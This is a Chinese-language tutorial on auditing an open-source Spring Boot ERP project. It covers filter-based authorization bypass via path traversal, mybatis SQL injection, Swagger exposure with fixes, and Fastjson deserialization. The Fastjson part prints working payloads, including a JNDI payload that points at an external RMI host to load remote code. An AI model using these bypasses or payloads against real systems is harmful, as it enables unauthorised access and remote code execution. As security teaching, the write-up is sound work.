代码审计入门,审一审开源项目的历史漏洞,小项目,所以尽可能的写详细一点,让师傅们能有些收获

序言

首先拿到一个项目,可以先从项目文档或者目录结构,判断出他的框架结构和大致使用的第三方组件,以便于我们好下手

README.md

1.确定项目技术框架、项目结构

2.环境搭建

3.配置文件的分析:如pom.xml、web.xml等

4.Filter分析

5.路由分析:提前通过抓包调试分析,了解前端请求到后端方法的对应关系,便于在后续分析中更快定位代码

在代码审计中,通常都是正反向审计,正向可以快速定位接口,逆向对能力要求更高一些

结构分析:

  • config (配置层) 存放 Spring Boot 的配置类。
  • constants (常量层) 存放系统常量。
  • controller (控制层 / 接口层) HTTP 请求的入口,负责接收参数并调用 Service。
  • datasource (数据源层 / DAO 层)
  • exception (异常处理层) 存放全局异常处理逻辑。
  • filter (过滤器层) 存放 Servlet 过滤器,用于拦截请求。
  • service (业务逻辑层) 存放具体的业务处理代码。
  • utils (工具类层) 存放通用工具类。

组件分析

这是springboot项目,那就好办了,先查看pom.xml文件

1.fastjson

1.2.83以下:可能反序列化?先打个问号

2.mybatis

所以审计sql注入,基本上就一种形式,关键字搜索 ${

3.log4j

注意:log4j-to-slf4j 本身不包含漏洞代码,但它通常会依赖 log4j-api 。

如果项目中引入了 log4j-core (版本 2.0 到 2.14.1),那么项目就是脆弱的。

4.swagger泄露?

filter层分析

就一个文件,分析就简单了,先来上个课

在 Java Web 容器(如 Tomcat)的实际运行中, init 是先触发的 。

生命周期顺序如下:

  1. 服务器启动阶段 :
  • 立即调用 init() 方法 。-注意 :这一步只发生 一次 。
  1. 用户访问阶段 (比如你发起一个 HTTP 请求):
  • 调用 doFilter() 方法 。
  • 注意 :这一步会发生 无数次 ,只要有请求进来就会触发。此时,会使用 init() 阶段准备好的数据来进行判断。

ignoredUrl:使用 # 作为分隔符, 如果用户请求的是图片、样式表或 JS 脚本等静态资源,就不需要登录校验,直接放行 。

filterPath:使用 # 作为分隔符,配置接口路径白名单 。

init

1. 读取并处理 filterPath 参数

从配置中获取名为 "filterPath" 的参数值(对应注解中的 /user/login#/user/registerUser#/v2/api-docs)
检查参数是否非空,如果参数中包含 # 分隔符,则将其分割成字符串数组
否则,将整个参数作为单个元素的数组,将结果存储在 allowUrls 成员变量中,用于后续的请求路径匹配

2. 读取并处理 ignoredUrl 参数

从配置中获取名为 "ignoredUrl" 的参数值(对应注解中的 .css#.js#.jpg#.png#.gif#.ico)
检查参数是否非空,如果参数中包含 # 分隔符,则将其分割成字符串数组
否则,将整个参数作为单个元素的数组,将结果存储在 ignoredUrls 成员变量中
同时,将每个忽略的 URL 模式添加到 ignoredList 静态列表中

doFilter

总结:请求进来 -> 已登录? (是->放行) -> 是登录/注册/文档页? (是->放行) -> 是静态资源(.css等)? (是->放行) -> 是公开接口(/user/login等)? (是->放行) -> (否-拦截),去登录 。

Object userInfo = servletRequest.getSession().getAttribute("user");
if(userInfo!=null) { //如果已登录,不阻止
    chain.doFilter(request, response);
    return;
}
//如果用户已经登录,直接放行,后续的所有白名单检查都不再执行。

白名单(页面)

if (requestUrl != null && (requestUrl.contains("/doc.html") ||
            requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
            chain.doFilter(request, response);
            return;
        }
///doc.html、/register.html、/login.html,只要 URL 里包含这些就放行。
//不严格,如果url是:/doc.html/../home.html,可能出现未授权访问

白名单(静态资源)

if (verify(ignoredList, requestUrl)) { // 调用 verify 方法进行正则匹配
    chain.doFilter(servletRequest, 
    response); // 放行
    return;
}
//检查 URL 是否包含 init 阶段加载的后缀(如 .css , .js )。匹配成功,放行。

配置白名单(接口前缀)

if (null != allowUrls && allowUrls.length > 0) {
    for (String url : allowUrls) {
        if (requestUrl.startsWith(url)) 
        { // 检查 URL 是否以白名单路径开头
            chain.doFilter(request, 
            response); // 放行
            return;
        }
    }
}
//遍历 allowUrls (如 /user/login ),检查请求路径的前缀。如果匹配,放行。

拦截并重定向

servletResponse.sendRedirect("/login.html");
//如果以上所有条件都不满足(没登录、不是白名单页面、不是静态资源、不是公开接口),
//重定向到登录页面 /login.html 。

未授权

现在就很简单了,有很多种绕过方法,我们先再来讲讲绕过的原理,一定要知道原理,盲目的打payload是不会进步滴

/doc.html/../user/getAllList

● Filter 阶段 (检查) :
● 代码逻辑: if (requestUrl.contains("/doc.html"))
● 输入 URL: /doc.html/../user/getAllList
● 判断:字符串里确实包含 /doc.html 。
● 结果: 放行 。
● Tomcat / Spring MVC 阶段 (路由) :
● 容器在处理请求时,会进行路径标准化。
● 逻辑: /a/../b 等同于 /b 。
● 处理过程: /doc.html (进一层) -> /.. (退一层) -> 回到根目录 / -> /user/getAllList 。
● 最终路由:映射到 /user/getAllList 接口。
● 结果: 成功执行业务逻辑 。
/doc.html/..;/user/getAllList

结合了路径遍历 和 矩阵参数 两种特性。
● Filter 阶段 (检查) :
  ○ 代码逻辑: if (requestUrl.contains("/doc.html"))
  ○ 输入 URL: /doc.html/..;/user/getAllList
  ○ 判断:字符串里包含 /doc.html 。
  ○ 结果: 放行 。
● Tomcat / Spring MVC 阶段 (路由) :
  ○ 步骤 1:处理矩阵参数 ; 。在 Servlet 规范中,( ; ) 后的内容被视为当前路径段的参数。
    ■ /..; 被理解为:目录名为 .. ,且带有一些参数(这里参数为空)。
    ■ 但在路径解析层面,Tomcat 通常会先剥离掉 ; 及其后面的内容来确定由哪个 Servlet 处理,或者在标准化过程中处理它。
    ■ 对于 ..; ,Spring Security 或高版本 Tomcat 可能会拒绝,但在旧版本或特定配置下,它可能被解析为 .. (即上一级目录)。
  ○ 步骤 2:路径标准化 。
    ■ /doc.html (进一层) -> /..; (被解析为回退一层) -> 回到根目录 / -> /user/getAllList 。
  ○ 最终路由:映射到 /user/getAllList 。

未授权任意访问

我们去controller层随便找一个接口来试试

就你了,返回所有用户列表

1.无cookie访问失败

2.两种绕过方式

3.还可以利用静态资源来绕过

思考:

那是不是只要核心代码没有做其他过滤处理或者认证操作都可以进行未授权操作呢

大家先看下面的代码逻辑,有什么不同,哪些可以未授权,后面我给出答案

答案:未授权删除和重置密码可以,未授权添加用户不行

因为:

  • addUser从 Session 中获取 userNumLimit 。由于未登录用户的 Session 是空的,添加用户的逻辑不会被执行
  • resetPwd和deleteUser没有做任何 Session 或权限检查,绕过 Filter 后,可以直接利用

sql注入

mybatis下审sql注入可太简单了,搜索关键字 ${就行 ,

有部分师傅是不是审计的时候都会直接筛选.xml文件下的,

除了 .xml 文件, Mapper.java 接口如果使用了 @Select("select * from user where name = '${name}'") 这种注解形式,也是有漏洞的。

  • 建议搜索 :不仅搜 *.xml ,也要搜 *.java 中的 "${ 。

反向追踪 ,这是挖掘 SQL 注入最常用的路径:

*.xml --> Mapper.java (接口定义) --> Service.java (业务逻辑) --> Controller.java (Web 入口)

审计代码

随便选一个吧 UserMapperEx.xml

他的调用逻辑是这样的

只要中间没有做特殊处理,然后一直到Controller层,就会存在漏洞,如果做了处理可以检测是否能绕过

还有一个重点哦:记得看传参,如果是int类型是不行滴。

结算账户”的查询接口,其他的接口也应该存在sql注入,后面再看

原始数据包:

构造payload

思考:

既然我们前面已经审计出了多个方式进行未授权,那这个sql注入是不是也可以呢,我们试一试

也是没问题滴

swagger泄露

检查 Swagger 配置 (Swagger2Config.java)配置了全量扫描,没有任何环境限制或权限验证。

@Bean
public Docket createRestApi() {
    return new Docket(DocumentationType.SWAGGER_2)
            .apiInfo(this.apiInfo())
            .select()
            .apis(RequestHandlerSelectors.any()) // 扫描所有接口
            .paths(PathSelectors.any())          // 匹配所有路径
            .build();
}

检查权限过滤器 (LogCostFilter.java)

  1. 初始化参数 filterPath 中包含了 /v2/api-docs 。
@WebInitParam(name = "filterPath", value = "/user/login#/user/
registerUser#/v2/api-docs")

在 doFilter 中:

if (null != allowUrls && allowUrls.length > 0) {
    for (String url : allowUrls) {
        if (requestUrl.startsWith(url)) { // 匹配 /v2/api-docs
            chain.doFilter(request, response);
            return;
        }
    }
}
  1. 直接放行了 /doc.html
if (requestUrl != null && (requestUrl.contains("/doc.html") || ...)) {
    chain.doFilter(request, response);
    return;
}

漏洞复现与危害

修复建议

  1. 生产环境禁用 :在 Swagger2Config 中添加 @Profile({"dev", "test"}) 注解,仅允许在开发或测试环境加载 Swagger 配置。
  2. 权限控制 :在 LogCostFilter 中移除对 /doc.html 和 /v2/api-docs 的未授权放行,或者配置 Spring Security / Shiro 对这些路径进行强鉴权。

Fastjson反序列化?

前面提到有引入fastjson 1.2.55

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.55</version>
</dependency>

Fastjson 1.2.55 版本,默认情况下必须开启 AutoType ( autoTypeSupport=true ) 才容易被利用。

历史漏洞修复 :
- 1.2.24 :无 AutoType 限制,直接反序列化(高危)。
- 1.2.47 :爆出了绕过,可以在不开启 AutoType 的情况下利用 java.lang.Class 缓存机制进行 RCE。
- 1.2.48 :修复了 1.2.47 的缓存绕过漏洞。
- 1.2.55 :继承了 1.2.48 的修复。
这意味着在 1.2.55 中,攻击者无法使用 1.2.47的Payload来绕过 AutoType 检查。

项目中未开启

所以本项目没有fastjson反序列化

那么我们本着学习漏洞的目的,可以手动写代码开启它,复现一下漏洞,在项目的main方法下,写入

关键字定位:

JSON.parse  
JSON.parseObject
JSONObject.parseObject

\src\main\java\com\jsh\erp\utils\StringUtil.java

查看层次调用,我们直接选第一个

啊哈,这不就是刚刚sql注入的接口吗,我们现在来测一下,先简单打个dnslog吧

{"@type":"java.net.Inet4Address","val":"3qmcn1.dnslog.cn"}

dnslog打成功了,下一步漏洞利用,弹计算器

(在真实情况中即使存在漏洞,也会遇到目标不出网情况,还是有方式利用的,比如打报错payload利用回显判断版本等等一系列的,绕过利用Unicode编码,打内存马,这篇不是讲fastjson文章所以不细讲)

本项目出网,然后可以打jndi

{
  "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
  "dataSourceName": "rmi://82.157.235.117:7777/Exploit",
  "autoCommit": true
}    //失败

寻常的payload打不通

参考 https://github.com/safe6Sec/Fastjson 项目的payload

有这个组件

成功弹计算器

总结:

刚入门代码审计,审这些小项目可以很好地练手和提升代码阅读能力,比较忌讳的是跟着网上的文章单纯地复现漏洞,不去细看代码,这样子的话我觉得知识是不进脑的,下次遇到了也不一定会。